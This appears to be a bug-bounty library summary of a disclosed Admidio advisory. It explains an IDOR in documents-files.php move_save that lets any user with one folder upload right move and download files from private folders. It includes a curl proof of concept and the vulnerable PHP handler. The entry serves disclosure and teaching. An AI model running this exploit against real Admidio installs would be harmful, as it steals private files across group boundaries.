# Admidio has IDOR in `documents-files.php` `mode=move_save` that lets any folder-uploader exfiltrate files from private folders

Admidio's move_save checks upload rights on URL folder_uuid but moves file_uuid without validating its source folder, letting any uploader exfiltrate private files.

- Payout: Research
- Severity: high
- Program: Admidio
- Found by: offset, 0xEr3n
- Disclosed: 2026-05-29
- CVE: CVE-2026-47231
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-x628-457g-2pw9
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-x628-457g-2pw9
- Tags: area:web domain:web impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:php technique:source-review vuln:access-control vuln:auth-bypass vuln:idor

**Target:** PHP web app Documents module (documents-files.php, File::moveToFolder)
**Root cause:** Top-level rights check binds to the URL folder_uuid while move_save operates on an independent file_uuid; File::moveToFolder only validates upload right on the destination folder, never the file's source folder.
**Steps:**
1. Attacker holds folder_upload on public_uploadable (c41a99c0-…) but no rights on private_admin_only (db1f71b9-…) containing private_to_delete.txt (559ed352-…).
2. `GET /modules/documents-files.php?mode=move&folder_uuid=c41a99c0-…&file_uuid=559ed352-…` to register CSRF token in session.
3. `POST /modules/documents-files.php?mode=move_save&folder_uuid=c41a99c0-…&file_uuid=559ed352-…` with `adm_csrf_token=X&adm_destination_folder_uuid=c41a99c0-…`; server returns `{"status":"success"}` and fil_fol_id is repointed.
4. `GET /modules/documents-files.php?mode=download&file_uuid=559ed352-…` returns the private file bytes.
**How found:** Code reading: noticed the top-level rights check keys on folder_uuid while move_save loads the file by a separate file_uuid, and that File::moveToFolder only checks the destination folder's upload right.
**Exploitation:** Any user with a single folder_upload right pairs that folder's UUID with a target file UUID from a private folder; the top-level check passes on folder_uuid, the destination check passes, and FileSystemUtils::moveFile physically relocates the file into the attacker's folder, which they then download.
**Escalation:** Crosses multi-tenant/group boundaries: a member of group A with upload on A's public folder can lift private files from group B on a shared deployment; also a destruction primitive since the file leaves its original location.
**Insight:** When a handler takes two independent object identifiers (a container UUID for the rights gate and a child UUID for the action), verify the child actually belongs to the gated container — here the source folder of the moved file was never checked.

## Proof of concept (copied exactly from the original report)

**curl PoC: move private file via mismatched UUIDs**

```
$ curl -sb $cookie \
    "http://127.0.0.1:8085/modules/documents-files.php?mode=move&folder_uuid=c41a99c0-…&file_uuid=559ed352-…"
# form rendered, CSRF token X is now in session

# 2. submit move_save with the same param mismatch
$ curl -sb $cookie -X POST \
    "http://127.0.0.1:8085/modules/documents-files.php?mode=move_save&folder_uuid=c41a99c0-…&file_uuid=559ed352-…" \
    -d "adm_csrf_token=X&adm_destination_folder_uuid=c41a99c0-…"
{"status":"success", "url":"…"}

# 3. download the leaked file
$ curl -sb $cookie \
    "http://127.0.0.1:8085/modules/documents-files.php?mode=download&file_uuid=559ed352-…"
private_to_delete_data
```

**Vulnerable move_save handler loading file by UUID**

```
case 'move_save':
    $documentsFilesMoveForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);
    $formValues = $documentsFilesMoveForm->validate($_POST);

    if ($getFileUUID !== '') {
        $file = new File($gDb);
        $file->readDataByUuid($getFileUUID);                       // <-- no permission check on the file's source folder
        $file->moveToFolder($formValues['adm_destination_folder_uuid']);
    } else {
        $folder = new Folder($gDb);
        $folder->readDataByUuid($getFolderUUID);
        $folder->moveToFolder($formValues['adm_destination_folder_uuid']);
    }

    $gNavigation->deleteLastUrl();
    echo json_encode(array('status' => 'success', 'url' => $gNavigation->getUrl()));
    break;
```

**moveToFolder checks only destination folder rights**

```
public function moveToFolder(string $destFolderUUID)
{
    $folder = new Folder($this->db);
    $folder->readDataByUuid($destFolderUUID);

    if ($folder->hasUploadRight()) {                               // <-- destination only
        FileSystemUtils::moveFile($this->getFullFilePath(),
                                  $folder->getFullFolderPath() . '/' . $this->getValue('fil_name'));
        $this->setValue('fil_fol_id', $folder->getValue('fol_id'));
        $this->save();
    }
}
```

